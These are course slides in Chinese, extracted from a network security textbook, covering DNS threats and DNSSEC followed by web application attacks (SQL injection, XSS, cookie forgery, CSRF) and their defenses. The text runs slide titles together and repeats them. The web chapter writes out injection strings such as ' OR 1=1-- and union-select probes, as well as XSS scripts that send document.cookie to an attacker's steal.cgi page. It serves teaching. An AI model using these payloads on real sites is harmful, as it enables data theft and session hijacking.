计算机网络安全原理（第2版）课件 第8-10章 DNS安全、Web应用安全、电子邮件安全

第八章DNS安全内容提纲DNS面临的安全威胁2DNSSEC3DNS概述1DNS除了域名解析外，现代DNS还具有：应用层路由：DNS把用户的访问指向离用户最近的那个CDN服务器节点，负载均衡；Email服务器利用DNS服务器中的MX记录作为路由，找到企业内部真正的服务器DNS除了域名解析外，现代DNS还具有：DNS作为信任的基础：防伪造邮件、域名作为验证证书申请者身份的信任基础DNS除了域名解析外，现代DNS还具有：DNS作为PKI：防止CA在未经网站所有者授权的前提下签发非法的证书域名的层次结构DNS域名的层次结构DNSDNS域名递归查询过程递归查询以浏览网站为例说明域名解析过程浏览器导航栏中键入网站的域名或单击URL链接后，浏览器将启动DNS解析过程来查找这些IP地址浏览器会向“解析器”(resolver)发送一个查询，解析器会在本地保留以前查询过的问题的答案副本（缓存），如果存在直接响应浏览器。如果缓存中没有，则解析器会执行完整的DNS解析过程。以浏览网站为例说明域名解析过程向13个根服务器中的任意一个根服务器发送包含网站域名的查询，询问该网站对应的IP地址。收到查询请求的根服务器会返回一个“引荐”（referral）作为响应，包含网站域名TLD的名称服务器的列表。例如，如果您尝试访问网站，您的解析器将向其中一个根服务器发送一个查询，询问该域名的IP地址，此时，根服务器将返回一个列出了“.com”（我们示例中的TLD）的所有名称服务器的列表。以浏览网站为例说明域名解析过程将同一查询发送到引荐响应中收到的其中一个TLD的名称服务器。TLD名称服务器通常也只包含它们负责的域的名称服务器信息。因此，就像发送到根服务器的查询一样，发送到TLD名称服务器的查询也会收到引荐响应，提供一个有关所查询的二级域的名称服务器列表。如前例，解析器将向其中一个“.com”名称服务器发送对“”的查询，询问该域名的IP地址，“.com”名称服务器将返回一个列出“”的所有名称服务器的列表。以浏览网站为例说明域名解析过程此解析过程将一直继续，直到将查询发送到符合以下条件之一的域名服务器：拥有答案，即Web服务器的IP地址；或者域名服务器能够发布权威性声明，表示所查询的域名不存在。在示例中，解析器将向其中一个“”的名称服务器发送对“”的查询，该名称服务器可能知道与“”相关的IP地址，并返回这些地址。。以浏览网站为例说明域名解析过程根服务器系统（rootserversystem）由1000多台单独的计算机（称为根服务器“节点”【instance】）组成，这些计算机会保留DNS的根数据。这些节点通过引荐顶级域的名称服务器来响应来自互联网解析器的查询。根服务器镜像根域名服务器递归与迭代相结合的查询DNSDNS生态系统内容提纲DNS面临的安全威胁2DNSSEC3DNS概述1DNS面临的安全威胁DNS面临的安全威胁一、协议脆弱性域名欺骗：域名系统(包括DNS服务器和解析器)接收或使用来自未授权主机的不正确信息，事务ID欺骗和缓存投毒DNS安全威胁DNS缓存DNS安全威胁一、协议脆弱性域名欺骗：域名系统(包括DNS服务器和解析器)接收或使用来自未授权主机的不正确信息，事务ID欺骗和缓存投毒DNS安全威胁一、协议脆弱性USENIXSecurity2020：郑晓峰等，PoisonOverTroubledForwarders:A

cachePoisoningAttackTargetingDNSForwardingDevices。提出了针对DNS协议设计的一种新的攻击方法，可以针对广泛部署的DNS转发服务（如家用Wi-Fi路由器、公共Wi-Fi等场景）实现缓存污染攻击，D-Link、Linksys、微软DNS、开源软件dnsmasq等多个知名品牌的产品或系统可能受到该攻击的影响。DNS安全威胁一、协议脆弱性域名欺骗：域名系统(包括DNS服务器和解析器)接收或使用来自未授权主机的不正确信息，事务ID欺骗和缓存投毒DNS安全威胁DNS安全威胁阅读在线文档“真的黑客能让你分分钟开进沟里，但他们不屑于此”（/s/z-Qk0-uDchvEtGKQDw8wkQ），讨论2008年丹·卡明斯基发现的DNS缓存攻击方法和2020年段海新、钱志云等人发现的DNS缓存攻击方法的实现过程讨论一、协议脆弱性网络通信攻击：针对DNS的网络通信攻击主要是DDoS攻击、恶意网址重定向和中间人(man-in-the-middle,MITM)攻击DNS安全威胁2016，DNS服务Dyn被DDoS攻击2013，DNS被用于反射DDoS一、协议脆弱性网络通信攻击：DNS域名解析过程劫持DNS安全威胁段海新等USENIX2018一、协议脆弱性网络通信攻击：DNS域名解析过程劫持DNS安全威胁段海新等USENIX2018一、协议脆弱性网络通信攻击：DNS域名解析过程劫持DNS安全威胁段海新等USENIX2018一、协议脆弱性网络通信攻击：DNS域名解析过程劫持DNS安全威胁段海新等USENIX2018一、协议脆弱性网络通信攻击：DNS域名解析过程劫持DNS安全威胁段海新等USENIX2018一、协议脆弱性网络通信攻击：DNS域名解析过程劫持DNS安全威胁段海新等USENIX2018一、协议脆弱性网络通信攻击：DNS域名解析过程劫持DNS安全威胁段海新等USENIX2018一、协议脆弱性网络通信攻击：DNS域名解析过程劫持DNS安全威胁段海新等USENIX2018一、协议脆弱性网络通信攻击：DNS域名解析过程劫持DNS安全威胁段海新等USENIX2018一、协议脆弱性网络通信攻击：DNS域名解析过程劫持DNS安全威胁二、实现脆弱性DNS软件，BIND的漏洞和缺陷无疑会给DNS系统带来严重的威胁，其缓冲区溢出漏洞一度占据UNIX及Linux操作系统相关安全隐患的首位DNS安全威胁二、实现脆弱性DNS安全威胁二、实现脆弱性WindowsDNSServer实现安全漏洞（CVE-2020-1350）DNS安全威胁二、实验脆弱性DNS安全威胁三、操作脆弱性由于人为操作或配置错误所带来的安全隐患：域名配置攻击、域名注册攻击和信息泄漏等DNS安全威胁攻击目标网站域名注册服务提供商

修改目标网站域名记录

申请网站证书

伪装成目标网站组合攻击实现网站假冒攻击目标网站域名注册服务提供商

修改目标网站域名记录

申请网站证书

伪装成目标网站组合攻击实现网站假冒攻击目标网站域名注册服务提供商

修改目标网站域名记录

申请网站证书

伪装成目标网站组合攻击实现网站假冒通过查看的域名系统（DNS）记录，发现指向的是马来西亚的Internet地址：9攻击者还从Let’sEncrypt获得了的免费加密证书。组合攻击实现网站假冒此外，IP被解析到域名组合攻击实现网站假冒DNS是互联网治理的焦点DNS是互联网治理的焦点，涉及技术标准、国际政治、法律经济等各种纠纷伊拉克战争期间，在美国政府授意下，伊拉克顶级域名“.iq”的申请和解析工作被终止，所有网址以“.iq”为后缀的网站从互联网蒸发中国部署了4台IPv6根域名服务器。打破垄断、突破封锁，中国彻底打破了没有根服务器的困境。关于伊拉克国家域名IQ被删除的事件:关于IPv6试验根项目:DNS是互联网治理的焦点JonPostel:互联网之神DNS是互联网治理的焦点内容提纲DNS面临的安全威胁2DNSSEC3DNS概述1DNSSEC域名欺骗、恶意网址重定向和中间人攻击之所以能够成功，是因为DNS解析的请求者无法验证它所收到的应答信息的真实性和完整性。为应对上述安全威胁，IETF提出了DNS安全扩展协议（DNSSEC）。DNSSEC一、DNSSEC基本原理DNSSEC基本思想依赖于数字签名和公钥系统去保护DNS数据的可信性和完整性：权威域名服务器用自身的私钥来签名资源记录，然后解析服务器用权威域名服务器的公钥来认证来自权威域名服务器的数据，如果认证成功，则表明接收到的数据确实来自权威域名服务器，则解析服务器接收数据，如果认证失败，则表明接收到的数据很可能是伪造的，则解析服务器抛弃数据DNSSECDNSSEC基本思想尽管DNSSEC的原理比较简单，但其标准的制定和部署面临着巨大的挑战：域名软件之父保罗·维克多（PaulVixie）的曲折经历DNSSECPaulVixiePaulVixiePaulVixie以得到广泛支持的RFC4033-4035版本为例简要介绍DNSSEC的基本内容提供数据来源验证：DNS数据来自正确的域名服务器；

提供数据完整性验证：数据在传输过程中没有任何更改；提供否定存在验证：对否定应答报文提供验证信息DNSSEC原理以得到广泛支持的RFC4033-4035版本为例简要介绍DNSSEC的基本内容提供数据来源验证：DNS数据来自正确的域名服务器；

提供数据完整性验证：数据在传输过程中没有任何更改；提供否定存在验证：对否定应答报文提供验证信息DNSSEC原理以得到广泛支持的RFC4033-4035版本为例简要介绍DNSSEC的基本内容DNSSEC原理DNSSEC中新增的四种类型的资源记录：DNSKEY(DNSPublicKey)、RRSIG（ResourceRecordSignature）、DS(DelegationSigner)、NSEC(NextSecure)DNSSEC资源记录DNSKEY：存储服务器的公开密钥DNSSEC资源记录标志(Flags)协议(Protocol)算法(Algorithm)公钥(Public

Key)2

octets1

octet1

octetDNSKEY：存储服务器的公开密钥DNSSEC资源记录DNSKEY：存储服务器的公开密钥DNSSEC资源记录在DNSSEC的实践中，权威域的管理员通常用两对密钥配合完成对区数据的签名第一对密钥用来对区内的DNS资源记录进行签名，称为区签名密钥（ZoneSigningKey,ZSK），由权威认证服务器生成、签名。另一对称为密钥签名密钥（KeySigningKey,KSK）的公私钥对，用来对包含密钥（如ZSK）的资源记录（DNSKEY）进行签名，并将签名结果放在DNSKEY的RRSIG记录中DNSSEC资源记录DNSKEY：存储服务器的公开密钥DNSSEC资源记录DNSSEC信任根信息可以查IANA的网站（/dnssec/files）信任链建立过程RoottrustanchorsRRSIG：存储对资源记录集合（RRSets）的数字签名DNSSEC资源记录RRSIG：存储对资源记录集合（RRSets）的数字签名DNSSEC资源记录RRSIG：存储对资源记录集合（RRSets）的数字签名DNSSEC资源记录NSEC：为了应答那些不存在的资源记录而设计在区数据签名时，NSEC记录会自动生成。如在和之间会插入下面的两条记录DNSSEC资源记录涉及到所有者域名的排序问题DS：记录存储DNSKEY的散列值，用于验证DNSKEY的真实性，从而建立一个信任链DNSSEC资源记录DS：记录存储DNSKEY的散列值，用于验证DNSKEY的真实性，从而建立一个信任链DNSSEC资源记录示例：区DNS资源记录内容签名前后的变化情况DNSSEC资源记录DNSSEC新增的4种资源记录，这些记录的长度远远超过了最初的DNS协议标准规定的512字节，而要求DNS报文大小必须达到1220字节，甚至是4096字节。因此DNS服务器如果要支持DNSSEC，则首先需要支持扩展DNS机制（ExtensionMechanismsforDNS,EDNS）DNSSEC对DNS协议的修改1987年的RFC1035限制了DNS报文大小、新功能EDNS扩展DNS格式和功能IPv6、DNSSEC、ECS等向后兼容的Workaround尝试服务器不支持或被防火墙过滤DNSFlagday:2019/2/1日后，对EDNS实现不标准的授权服务器，Google等公共DNS将不再尝试访问，可能导致解析失败EDNS1987年的RFC1035限制了DNS报文大小、新功能EDNS扩展DNS格式和功能EDNS伪资源记录：DNSSEC对DNS协议的修改DNSSEC在协议报文头中增加了三个标志位：DO（DNSSECOK,参见RFC3225）标志位：支持DNSSEC标志位AD（AuthenticData）标志位：认证数据标志CD

（CheckingDisabled）标志：关闭检查标志位DNSSEC对DNS协议的修改伪资源记录（OPT）DNSSEC递归解析过程DNSSECDNSSEC递归解析过程DNSSECDNSSEC解析示例解析示例参见教材配套的实验指导书的8.2.3节查看DNSSEC域名解析过程/二、DNSSEC配置两项工作：配置安全的域名解析服务器（resolver），该服务器可以保护使用它的用户，防止被DNS欺骗攻击。这里只涉及数字签名的验证工作。配置安全的权威域名服务器（nameserver），对权威域的资源记录进行签名，保护服务器不被域名欺骗攻击。DNSSEC配置以BIND9为例介绍（教材8.3.2节）DNSSEC配置三、DNSSEC安全性分析DNSSEC的安全性取决于PKI所用密钥的安全性DNSSEC选择RSA/SHA-n加密算法，即首先将要传送的数据通过SHA-n算法进行安全散列变换，然后利用RSA算法生成的私钥进行数字签名DNSSEC安全性分析DNSSEC通过数字签名保证域名信息的真实性和完整性，防止对域名服务信息的伪造、篡改DNSSEC并不保证机密性，因为它不对DNS记录进行加密也解决不了DNS服务器本身的安全问题，如被入侵、存储的Zone数据被篡改、拒绝服务攻击、DNS软件的实现问题等DNSSEC安全性分析由于DNSSEC的报文长度增加和解析过程繁复，在面临DDoS攻击时，DNS服务器承受的负担更为严重，抵抗攻击所需的资源要成倍增加DNSSEC安全性分析DNS加密(DNSCrypt)DNS加密(DNSCrypt)DNS加密(DNSCrypt)DNS加密（DoH）DNS的隐私革命：ObliviousDNS2020年12月：Cloudflare在官方博客宣布支持一项新提议的DNS标准——ObliviousDNS。该标准由Cloudflare、Apple和Fastly三家公司的工程师共同撰写，能够将IP地址（创建）与查询分开，从而确保没有一个实体可以同时看到两者（从而获取用户隐私）DNS加密（ODoH）四、DNSSEC部署DNSSEC的部署也面临着巨大挑战。1999年RFC2535发布后的近10年间，DNSSEC受限于技术、成本、网络性能等多方面因素的影响，一直未得到各方面的充分重视，部署进展缓慢。BIND9的开发主要用于支持DNSSEC协议。2000年，瑞典在其国家顶级域中首次尝试部署DNSSEC协议，但发现存在隐私和扩展方面的问题。随后几年，DNSSEC协议修修补补，部署实施进展缓慢DNSSEC部署DNSSEC部署DNSSEC部署截止2018年底，中美著名公共DNS服务器支持DNSSEC的情况DNSSEC部署DNSSEC部署DNSSEC部署DNSSEC部署DNSSEC部署中美三个行业权威服务器DNSSEC部署情况DNSSEC部署FourteenYearsintheLife:ARootServer’sPerspectiveonDNSResolverSecurity(USENIXSecurity2023)作者指出，即使部署最高危的安全修复也需要时间。没有使用SPR的DNS解析器比例下降到2008年的一半，总共花了三年时间。直到rootzone被签名8年后，DNSSEC验证的使用才达到20%。DNScookie规范发布5年后，2021年甚至没有达到DNS解析器的10%。0x20encoding甚至从未达到1%的DNS解析器。DNSSEC部署DNSSEC协议设计时并没有考虑增量式部署的情况，其安全功能是基于所有DNS服务器全部采用DNSSEC协议这一假设的在DNSSEC完全部署到位之前，会造成“安全孤岛”现象如何判断一个域名服务器是否支持DNSSEC？问题分析判断一个域名是否支持DNSSEC判断一个域名是否支持DNSSEC随着DNSSEC、DoT、DoH等技术的推广应用，以及新的域名安全技术的提出及应用将持续改善域名安全状况未来发展本章小结作业参考内容一、讨论：美国真的能让一个国家从互联网上消失吗？美国如果在根域名服务器上把中国域名给封了，中国会从网络上消失？讨论：美国对域名的控制权2021.6.22美国扣押伊朗网站域名事件讨论：美国对域名的控制权构建独立网络的争议据俄新社报道，当地时间2021年2月1日，俄罗斯联邦安全委员会副主席梅德韦杰夫在接受俄罗斯媒体采访时表示：“互联网是特定阶段的产物，但是它处于美国的掌控之下。在紧急情况下其运用断网这一手段，可能性是非常大的。”、“切断俄罗斯与全球互联网的联系，并运行俄罗斯独立网络在技术上已成为可能，政府对此种情况已有预案。”、“俄罗斯在独立网络的技术上已一切准备就绪，法律层面也在推进”。有关是否要建立独立网络政界和学术界存在争议，有些人不太认同美国政府是否有能力或有意愿这么做。讨论：美国对域名的控制权二、DNS加密DNS加密广受争议讨论DNSSEC、DNSEncrypt就安全了吗？讨论攻防永远在路上

三、DNS生态系统安全DANE生态系统安全分析讨论USENIXSecurity2020讨论域名解析的依赖关系有时并不取决于域名所在的层次，比如CERNET.NET的域名的解析依赖于.CN、.HK和.DE。根据2015年的测试结果，CERNET.NET的域名解析可能依赖于24个域名讨论：域名空间的依赖关系2013年段海新等人的分析结果讨论：域名空间的依赖关系域名依赖导致的安全问题在中间路径上劫持域名部分域名可能成为瓶颈，对这些瓶颈域名的攻击可能导致网络大规模的瘫痪讨论：域名空间的依赖关系DNSForwarder中的安全问题讨论USENIXSecurity2020论DNS生态系统安全论DNS生态系统安全论DNS生态系统安全论DNS生态系统安全论DNS生态系统安全论DNS生态系统安全论DNS生态系统安全论DNS生态系统安全论DNS生态系统安全论DNS生态系统安全论DNS生态系统安全论DNS生态系统安全论DNS生态系统安全论DNS生态系统安全论DNS生态系统安全第九章Web应用安全HTTPS31Web应用体系结构脆弱性分析常见Web应用攻击及防范内容提纲HTTPoverQUIC24Web应用防火墙WAF5Web应用体系结构Web客户端Web服务器Web应用程序Web应用程序Web应用程序传输层

数据库

连接器

数据库

连接器

Edge,Chrome,Firefox,etc.HTTP/HTTPS请求明文或SSLHTTP响应(HTML,JavaScript,etc.)

ApacheIISetc.

PerlC++CGIJavaASPPHPetc.

ADOODBCJDBCetc.

OracleSQLServeretc.网站Web应用体系结构Web客户端活动内容执行，客户端软件漏洞的利用，交互站点脚本的错误传输偷听客户-服务器通信，SSL重定向Web服务器Web服务器软件漏洞Web应用体系结构Web应用程序攻击授权、认证、站点结构、输入验证，以及应用程序逻辑数据库通过数据库查询运行优先权命令，查询操纵返回额外的数据集。Web应用程序功能与安全隐患的对应关系Web应用安全HTTP协议是一种简单的、无状态的应用层协议（RFC1945、RFC2616）无状态使攻击变得容易基于ASCII码，无需弄清复杂的二进制编码机制，攻击者就可了解协议中的明文信息互联网中存在的大量中间盒子，HTTP标准(RFC2616和RFC7320)的理解如果不一致，就有可能导致一些新的攻击发生HTTP协议安全问题HTTP会话经常被劫持HTTP协议安全问题HTTP会话头泄露隐私信息HTTP协议安全问题中间盒子带来的HTTP安全问题HTTP协议安全问题HTTP协议安全问题HTTP协议安全问题HTTP协议安全问题HTTP协议安全问题HTTP协议安全问题HTTP协议安全问题HTTP协议安全问题HTTP协议安全问题HTTP协议安全问题HTTP协议安全问题HTTP协议安全问题HTTP协议安全问题为什么需要Cookie？解决无状态问题：保存客户服务器之间的一些状态信息Cookie是指网站为了辨别用户身份、进行会话跟踪而储存在用户本地终端上的一些数据（通常经过编码），最早由网景公司的LouMontulli在1993年3月发明的，后被采纳为RFC标准（RFC2109、RFC2965）Cookie的安全问题Cookie的生成与维护由服务器端生成，发送给客户端（一般是浏览器），浏览器会将Cookie的值保存到某个目录下的文本文件内，下次请求同一网站时就发送该Cookie给服务器（前提是浏览器设置为启用Cookie）服务器可以利用Cookie存储信息并经常性地维护这些信息，从而判断在HTTP传输中的状态Cookie安全问题Cookie的生成与维护Cookie在生成时就会被指定一个Expire值，这就是Cookie的生存周期。到期自动清除如果一台计算机上安装了多个浏览器，每个浏览器都会在各自独立的空间存放CookieCookie中的内容大多数经过了编码处理Cookie安全问题Cookie的一般格式如下：NAME=VALUE;expires=DATE;path=PATH;domain=DOMAIN_NAME;secure示例autolog=bWlrzTpteXMxy3IzdA%3D%3D;expires=Sat,01-Jan-201800:00:00GMT;path=/;domain=Cookie安全问题Cookie中包含了一些敏感信息，如用户名、计算机名、使用的浏览器和曾经访问的网站等，攻击者可以利用它来进行窃密和欺骗攻击Cookie安全问题HTTPS31Web应用体系结构脆弱性分析常见Web应用攻击及防范内容提纲HTTPoverQUIC24Web应用防火墙WAF5OWASP十大安全漏洞变迁史OWASPOWASP:OpenWebApplicationSecurityProject，一个全志愿者组成的、非营利性机构开发和出版免费专业开源的文档、工具和标准，如：

“TheTenMostCriticalWebApplicationSecurityVulnerabilities”，《AGuidetoBuildingSecureWebApplications》，

WebGoat，WebScarab，各种Web代码测试工具等OWASPOWASP:OpenWebApplicationSecurityProject，,致力于帮助组织机构理解和提高他们的Web安全组织各种Web安全会议2007VS.2004(1/2)OWASPTop102007OWASPTop102004A1.CrossSiteScripting(XSS)A4.CrossSiteScripting(XSS)A2.InjectionFlawsA6.InjectionFlawsA3.MaliciousFileExecution(NEW)A4.InsecureDirectObjectReferenceA2.BrokenAccessControl

(Splitin2007T10)A5.CrossSiteRequestForgery(CSRF)(NEW)A6.InformationLeakageandImproperErrorHandlingA7.ImproperErrorHandlingA7.BrokenAuthenticationandSessionManagementA3.BrokenAuthenticationandSessionManagement2007VS.2004(2/2)OWASPTop102007OWASPTop102004A8.InsecureCryptographicStorageA8.InsecureStorageA9.InsecureCommunications(NEW)A10.FailuretoRestrictURLAccessA2.BrokenAccessControl(splitin2007T10)<removedin2007>A1.Un-validatedInput<removedin2007>A5.BufferOverflows<removedin2007>A9.DenialofService<removedin2007>A10.InsecureConfigurationManagement十大安全漏洞-OWASP2007A1.Injection：注入漏洞；A2.BrokenAuthenticationandSessionManagement：失效的身份认证和会话管理；A3.Cross-SiteScripting(XSS)：跨站脚本；A4.InsecureDirectObjectReferences：不安全的直接对象引用；A5.SecurityMisconfiguration：安全配置错误；OWASP2013A6.SensitiveDataExposure：敏感数据暴露；A7.MissingFunctionLevelAccessControl：功能级别访问控制缺失；A8.Cross-SiteRequestForgery(CSRF)：跨站请求伪造；A9.UsingKnowVulnerableComponents：使用已知易受攻击的组件；A10.UnvalidatedRedirectsandForwards未验证的重定向和转发OWASP2013OWASP2017OWASP2017OWASP2017OWASP2021一、SQL注入攻击及防范注入漏洞

Injectionflaws,particularlySQLinjection,arecommoninwebapplications.Injectionoccurswhenuser-supplieddataissenttoaninterpreteraspartofacommandorquery.Theattacker’shostiledatatrickstheinterpreterintoexecutingunintendedcommandsorchangingdata.OWASPDefinition

注入漏洞典型注入漏洞包括：SQL注入（执行SQL语句）操作系统命令注入（调用Shell）HTML注入（跨站脚本攻击，XSS）SQL注入原理以网站数据库为目标，利用Web应用程序对特殊字符串过滤不完全的缺陷，通过把精心构造的SQL命令插入Web表单，或者将SQL命令加入到域名请求或页面请求的查询字符串中，欺骗服务器执行恶意的SQL命令，最终达到非法访问网站数据库内容、篡改数据库中的数据、绕过认证（不需要掌握用户名和口令就可登录应用程序）、运行程序、浏览或编辑文件等目的。SQL注入攻击流程FirewallHardenedOSWebServerAppServerFirewallDatabasesLegacySystemsWebServicesDirectoriesHumanResrcsBillingCustomCodeAPPLICATION

ATTACKNetworkLayerApplicationLayerAccountsFinanceAdministrationTransactionsCommunicationKnowledgeMgmtE-CommerceBus.FunctionsHTTPrequest

SQLquery

DBTable

HTTPresponse

“SELECT*FROMaccountsWHEREacct=‘’OR1=1--’”1.Web程序提供了用户输入的表单；2.攻击者通过填写表单数据发起攻击；3.Web程序通过SQL语句的形式将攻击递交给数据库；AccountSummaryAcct:5424-6066-2134-4334Acct:4128-7574-3921-0192Acct:5424-9383-2039-4029Acct:4128-0004-1234-02934.数据库执行SQL语句，将执行结果加密后返回给应用程序；5.应用程序解密数据，将结果发送给用户（攻击者）。Account:

SKU:

‘OR1=1--SQL注入示例SQL注入字符串口令可以填写任意值查询到的用户资料按提交方式，可分为GET注入、POST注入、Cookie注入、HTTP头注入等按字符类型，可分为整型注入和字符型注入按服务器是否返回提示信息，可分为SQL回显注入和SQL盲注SQL注入分类SQL回显注入(SQLFeedbackInjection)：在执行SQL注入攻击时，Web服务器会返回来自数据库服务器（DBMS）的SQL语句执行结果，如数据库字段内容，或提示具体的SQL语法错误信息等。攻击者可以根据服务器返回的这些信息，有针对性地实施后续注入攻击。SQL回显注入DVWA中的SQL注入攻击时的正常提示信息SQL回显注入DVWA中SQL注入攻击时的错误提示信息(输入1’)SQL回显注入如果我们在UserID输入框中输入“1’and1=1#”，或者输入“1’and1=2#”，DVWA将给出何种结果?DVWA中的SQL注入攻击时的错误提示信息SQL回显注入使用其它子句来实施SQL注入探测字段个数：orderbynumSQL回显注入使用其它子句来实施SQL注入探测字段个数：unionselectSQL回显注入使用其它子句来实施SQL注入利用联合查询并结合一些特殊函数可获得用户、数据库、表、字段等有用的信息SQL回显注入获得数据库的名称（输入“1’unionselectdatabase()#”）、版本（输入“1’unionselectversion()#”）、连接数据库的用户名（输入“1’unionselectuser()#”）等实际的Web应用大多对回显进行了限制，服务器不会直接返回具体的数据库操作错误信息，也不会显示SQL语句的执行结果，而是会返回程序开发者设置的特定信息，甚至有时无法判定提交的SQL语句是否执行了，这种情况下的SQL注入攻击就称为盲注基于布尔的盲注、基于时间的盲注、基于报错的盲注SQL盲注基于布尔的盲注是指构造SQL语句中的条件子句，使得查询结果为真（True）或假（False），并根据真假来推断数据库内容（库名、表名、列名、字段值等）。实施过程中，通常需要不断调整判断条件中的数值以逼近真实值，特别是要关注真假转换点（上一次返回的是True，下一次返回的是False，或反之）。基于布尔的盲注基于时间的盲注是指在SQL语句中注入延时函数（如MySQL的sleep()函数），根据SQL语句的执行时间来获取信息。基于时间的盲注基于报错的盲注是指构造恶意SQL语句，导致DBMS在执行SQL语句时产生错误，并回显给客户端，根据回显的错误信息来推断数据库名、版本、用户名等信息。基于报错的注入又可分为数据库BUG报错注入和数据库函数报错注入。基于报错的盲注/SQL注入工具：Sqlmap攻击成功的三个关键条件：第一，能够构造出恶意SQL语句（攻击者掌控）第二，Web服务器对于客户端发来的请求以及数据库服务器反馈的内容没有进行识别和过滤（程序员相关）第三，数据库服务器对于Web服务器发来的SQL语句没有进行识别和过滤（程序员相关）防御SQL注入攻击防御措施：输入检测，过滤特殊字符构造动态SQL语句时，一定要使用类安全(type-safe)的参数编码机制禁止将敏感数据以明文存放在数据库中遵循最小特权原则尽量不要使用动态拼装的SQL，可以使用参数化的SQL或者直接使用存储过程进行数据查询存取应用的异常信息应该给出尽可能少的提示防御SQL注入攻击二、跨站脚本攻击及防范(一)跨站脚本（XSS）漏洞Cross-SiteScripting(XSS)flawsoccurwheneveranapplicationtakesusersupplieddataandsendsittoawebbrowserwithoutfirstvalidatingorencodingthatcontent.XSSallowsattackerstoexecutescriptinthevictim'sbrowserwhichcanhijackusersessions,defacewebsites,possiblyintroduceworms,etc.OWASPDefinition

跨站脚本攻击工作原理：输入插入包含有JavaScript或其它恶意脚本的HTML标签代码。问题根源：不当的服务器端输入检查，从而允许用户输入可被客户端浏览器解释的脚本命令。XSS是最普遍的Web程序安全问题。嵌入JavaScript脚本的例子：<script>window.open(/info.pl?document.cookie</script>XSS攻击的原理带有XSS漏洞的Web程序攻击者将恶意脚本输入到服务器上的Web页面攻击者设置陷阱12受害者浏览页面3脚本将受害者的Session、Cookie发送给攻击者运行于受害者浏览器的脚本可以完全访问DOM和cookiesCustomCodeAccountsFinanceAdministrationTransactionsCommunicationKnowledgeMgmtE-CommerceBus.FunctionsXSS漏洞探测示例“Search”框内的文本信息常会反馈回用户页面<script>alert(document.cookie)</script>

脚本执行并将Session信息通过对话框显示出来攻击测试脚本储存式跨站脚本攻击，也称为持久性跨站脚本攻击。如果Web程序允许存储用户数据，并且存储的输入数据没有经过正确的过滤，就有可能发生这类攻击。在这种攻击模式下，攻击者并不需要利用一个恶意链接，只要用户访问了储存式跨站脚本网页，那么恶意数据就将显示为网站的一部分并以受害者身份执行。储存式XSS储存式XSS储存式XSS储存式<script>window.location="/steal.cgi?ck="+document.cookie;</script>~留言版~<script>window.location="/steal.cgi?ck="+document.cookie;</script>也称为非持久性跨站脚本攻击，是一种最常见的跨站脚本攻击类型。与本地脚本漏洞不同的是Web客户端使用Server端脚本生成页面为用户提供数据时，如果未经验证的用户数据被包含在页面中而未经HTML实体编码，客户端代码便能够注入到动态页面中。在这种攻击模式下，Web程序不会存储恶意脚本，它会将未经验证的数据通过请求发送给客户端，攻击者就可以构造恶意的URL链接或表单并诱骗用户访问，最终达到利用受害者身份执行恶意代码的目的。反射式XSS(1)Alice经常浏览Bob建立的网站。Bob的站点运行Alice使用用户名/密码进行登录，并存储敏感信息(比如银行帐户信息)；(2)Charly发现Bob的站点包含反射性的XSS漏洞；(3)Charly编写一个利用漏洞的URL，并将其冒充为来自Bob的邮件发送给Alice；(4)Alice在登录到Bob的站点后，浏览Charly提供的URL；(5)嵌入到URL中的恶意脚本在Alice的浏览器中执行，就像它直接来自Bob的服务器一样。此脚本盗窃敏感信息(授权、信用卡、帐号信息等)，然后在Alice完全不知情的情况下将这些信息发送到Charly的Web站点。反射式XSS反射式XSSloginsb.asp直接向用户显示msg参数，这样只要简单构造一个恶意的url就可以触发一次XSS。反射式XSSDOM式XSS如果构造数据“‘onclick=’javascript:alert(/xss/)”，那么最后添加的html代码就变成了“<ahref=’‘onclick=’javascript:alert(/xss/)’>test</a>”，插入一个onclick事件，点击提交按键，那么就会发生一次DOM式xss攻击。DOM式XSS防御XSS攻击对Web应用程序的所有输入进行过滤，对危险的HTML字符进行编码：‘<’,‘>’

‘<’,‘>’‘(‘,‘)’

‘(’,‘)’‘#‘,‘&’

‘#’,‘&‘对用户进行培训，告知小心使用电子邮件消息或即时消息中的链接；防止访问已知的恶意网站；执行手工或自动化代码扫描，确定并消除潜在的XSS漏洞。三、Cookie欺骗及防范伪造Cookie信息，绕过网站的验证过程，不需要输入密码，就可以登录网站，甚至进入网站管理后台伪造Cookie信息网站登录验证代码伪造Cookie信息利用request.Cookies语句分别获取Cookies中的用户名、口令和randomid的值。如果用户名或口令为空或randomid值不等于12就跳转到登录界面。也就是说，程序是通过验证用户的Cookie信息来确认用户是否已登录。然而，Cookie信息是可以在本地修改的，只要改后的Cookie信息符合验证条件（用户名和口令不空且randomid值等于12），就可进入管理后台界面判断是否有删帖权限的代码伪造Cookie信息只要Cookie中的power值不小于500，任意用户都可以删除任意帖子。同样可以利用上面介绍的方法进行Cookie欺骗攻击面上面介绍的两个攻击例子之所以成功，是因为在Cookie中保存了用户名、口令以及权限信息而留下了安全隐患。安全原则：一般情况下，网站会话管理机制仅将会话ID保存至Cookie，而将数据本身保存在Web服务器的内存或文件、数据库中伪造Cookie信息如果Cookie中没有设置安全属性secure”，则Cookie内容在网络中用明文传输，攻击者监听到Cookie内容后可以轻松实现会话劫持为什么会不设置安全属性监听Cookie来实现会话劫持四、CSRF攻击及防范跨站请求仿冒ACSRF(CrossSiteRequestForgery)attackforcesalogged-onvictim’sbrowsertosendapre-authenticatedrequesttoavulnerablewebapplication,whichthenforcesthevictim’sbrowsertoperformahostileactiontothebenefitoftheattacker.OWASPDefinition

CSRF用户C网站A：存在CSRF漏洞的网站网站B：恶意攻击者用户C：受害者网站A（受信任）网站B（恶意）6.由于浏览器会带上用户C的cookie，网站A不知道步骤5的请求是B发出的，因此网站A会根据用户C的权限处理步骤5的的请求，这样就达到了伪造用户C请求的目的1.用户C浏览并登录正常网站A2.验证通过，浏览器生成网站A的cookie3.用户C在没有登录退出网站A的情况下，访问恶意网站B4.网站B要求访问第三方网站A5.根据B在步骤4的要求，浏览器带着步骤2处产生的cookie访问网站A现在绝大多数网站都不会使用GET请求来进行数据更新，而是采用POST来提交，即使这样，攻击者仍然能够实施CSRF攻击CSRF防御CSRF攻击现有银行的网银交易流程要比例子复杂得多，同时还需要USBkey、验证码、登录密码和支付密码等一系列安全信息，一般并不存在CSRF安全漏洞，安全是有保障的。CSRF与XSS重大的差别：CSRF利用的是Web服务器端的漏洞XSS利用的是Web客户端的漏洞XSS攻击是实施CSRF攻击前的一个重要步骤：攻击者通过XSS攻击获取有用的攻击信息，比如通过XSS伪造一个提示用户输入身份信息的表单。防御CSRF攻击设定短暂的可信用户会话时间，完成任务后记得退出可信会话，删除所有cookie；每次提出一个可信行为时，对发出请求的用户进行